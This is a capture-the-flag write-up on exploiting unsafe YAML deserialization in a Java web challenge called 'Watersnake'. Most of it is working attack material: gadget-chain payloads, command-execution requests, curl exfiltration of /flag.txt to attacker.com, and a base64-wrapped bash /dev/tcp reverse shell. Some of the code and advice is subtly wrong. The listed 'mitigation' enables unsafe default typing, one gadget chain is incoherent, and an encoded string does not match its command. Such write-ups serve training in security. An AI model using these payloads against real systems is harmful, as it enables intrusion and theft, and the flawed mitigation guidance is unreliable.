2023 Business CTF: Web Watersnake
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2023 Business CTF |
| Category | Web |
| Challenge | Watersnake |
| Difficulty | Not specified |
Summary
Web Watersnake is a web exploitation challenge involving a Java application that performs unsafe deserialization of user-controlled YAML input. The application is vulnerable to arbitrary code execution through deserialization gadget chains, allowing attackers to instantiate arbitrary classes like GetWaterLevel which can execute system commands.
Challenge Information
The application appears to be a water level monitoring system (“Watersnake”) built in Java. It accepts serialized YAML input and deserializes it unsafely, leading to remote code execution vulnerabilities.
Analysis
Vulnerability Overview
Vulnerability 1: Unsafe YAML Deserialization
The application deserializes untrusted YAML input, likely using the Jackson or SnakeYAML library with @YAMLClassTag annotations enabled. This allows instantiation of arbitrary classes during deserialization.
Vulnerability 2: GetWaterLevel Class Exploitation
The notes reveal a GetWaterLevel class with dangerous functionality:
public class GetWaterLevel { public GetWaterLevel(String value) { initiateSensor(value); }
private void initiateSensor(String value) { readFromSensor(value); }
public void readFromSensor(String command) { // Executes system command from parameter Runtime.getRuntime().exec(command); }}When a GetWaterLevel object is created during deserialization, if an attacker controls the constructor parameter, arbitrary system commands can be executed.
Vulnerability 3: Multiple YAML Gadget Chains
Several exploitation paths are possible:
Path 1: ScriptEngineManager Gadget Chain
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker.com"] ]], !!java.io.BufferedReader [ !!java.io.InputStreamReader [ !!java.io.FileInputStream ["/flag.txt"], !!java.nio.charset.StandardCharsets ["UTF-8"] ] ]]Path 2: IOUtils Gadget Chain
!!org.apache.commons.io.IOUtils [ !!java.net.URL [ "http://attacker.com/?content=", !!java.lang.String [ !!java.nio.file.Files readAllBytes: !!java.nio.file.Paths get "/app/pom.xml" ] ]]Path 3: GetWaterLevel Direct Exploitation
!!com.lean.watersnake.GetWaterLevel [ "/bin/bash -c 'command_here'"]Solution
Step 1: Identify the Deserialization Endpoint
Find the endpoint that accepts YAML input:
curl -X POST http://target/ \ -H "Content-Type: application/yaml" \ -d "test: value"Step 2: Test for Deserialization Vulnerability
Send a simple YAML object to verify deserialization:
!!java.lang.Integer ["123"]If the application deserializes and responds, it’s vulnerable.
Step 3: Craft the Exploitation Payload
Create a payload to execute commands. Using the GetWaterLevel class:
# Craft the base payloadCOMMAND="curl http://attacker.com?content=\$(cat /flag.txt)"
# Base64 encode itENCODED=$(echo -n "$COMMAND" | base64)
# Create YAML payloadPAYLOAD="!!com.lean.watersnake.GetWaterLevel [\"/bin/bash -c 'echo \\\"$ENCODED\\\" | base64 --decode | bash'\"]"Step 4: Send the Payload
curl -X POST http://target/api/water-level \ -H "Content-Type: application/yaml" \ -d '!!com.lean.watersnake.GetWaterLevel ["/bin/bash -c '"'"'echo Y3VybCBodHRwOi8vYXR0YWNrZXIuY29tPWNvbnRlbnQ9JChjYXQgL2ZsYWcudHh0KQ== | base64 --decode | bash'"'"'"]'Step 5: Exfiltrate Data
Using the crafted payload, exfiltrate sensitive data:
# Read /flag.txt and send to attacker servercurl 'http://target/api/endpoint' \ --data "!!com.lean.watersnake.GetWaterLevel [\"/bin/bash -c 'curl http://attacker.com/?flag=\$(cat /flag.txt)'\"]"Step 6: Extract the Flag
Monitor the attacker server for incoming requests:
# Simple HTTP server to capture requestspython3 -m http.server 8000
# Or use netcatnc -lvnp 8000Check the request parameters for the flag content.
Advanced Exploitation Techniques
Technique 1: File Reading with ScriptEngineManager
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker.com"] ]], !!java.io.BufferedReader [ !!java.io.InputStreamReader [ !!java.io.FileInputStream ["/flag.txt"], !!java.nio.charset.StandardCharsets ["UTF-8"] ] ]]This gadget chain opens a file and reads it through the deserialization process.
Technique 2: Multi-Step Payload Execution
# Step 1: Base64 encode the commandecho -n 'cat /flag.txt' | base64# Output: Y2F0IC9mbGFnLnR4dA==
# Step 2: Create YAML with base64 decoding!!com.lean.watersnake.GetWaterLevel [ "/bin/bash -c 'echo Y2F0IC9mbGFnLnR4dA== | base64 --decode | bash'"]Technique 3: Reverse Shell Payload
# Create reverse shell commandREVSHELL="bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
# Base64 encodeENCODED=$(echo -n "$REVSHELL" | base64)
# Construct payloadPAYLOAD="!!com.lean.watersnake.GetWaterLevel [\"/bin/bash -c 'echo $ENCODED | base64 -d | bash'\"]"Mitigation Strategies
Code Level
- Disable Unsafe Deserialization:
// Avoid default YAML deserialization// Use safe alternatives like JSON with explicit class mappingObjectMapper mapper = new ObjectMapper();mapper.activateDefaultTyping( mapper.getPolymorphicTypeValidator(), ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.WRAPPER_OBJECT);- Use Allowlists:
// Only deserialize known, safe classesList<String> allowedClasses = Arrays.asList( "com.application.SafeClass1", "com.application.SafeClass2");- Input Validation:
// Validate YAML structure before deserializationif (!yaml.startsWith("!!com.application")) { throw new SecurityException("Untrusted class");}Application Level
- Use security manager to restrict what deserialized code can do
- Run application with minimal privileges
- Implement input sanitization
- Use type-safe deserialization libraries
Key Takeaways
- Deserialization Dangers: Never deserialize untrusted data
- Gadget Chains: Be aware of dangerous library combinations
- Runtime Execution: Classes like
Runtime.exec()in constructors are dangerous - YAML vs JSON: JSON is safer; YAML has more dangerous features
- Security Testing: Test for gadget chain vulnerabilities
- Library Updates: Keep dependencies updated for security patches
Tools and Resources
- ysoserial: Generate YAML gadget chains for exploitation
- Jackson: Java JSON library (vulnerable in some configs)
- SnakeYAML: Java YAML parser (vulnerable by default)
- Burp Suite: Intercept and modify serialized data
- ExceptionHandler: Analyze serialization errors for information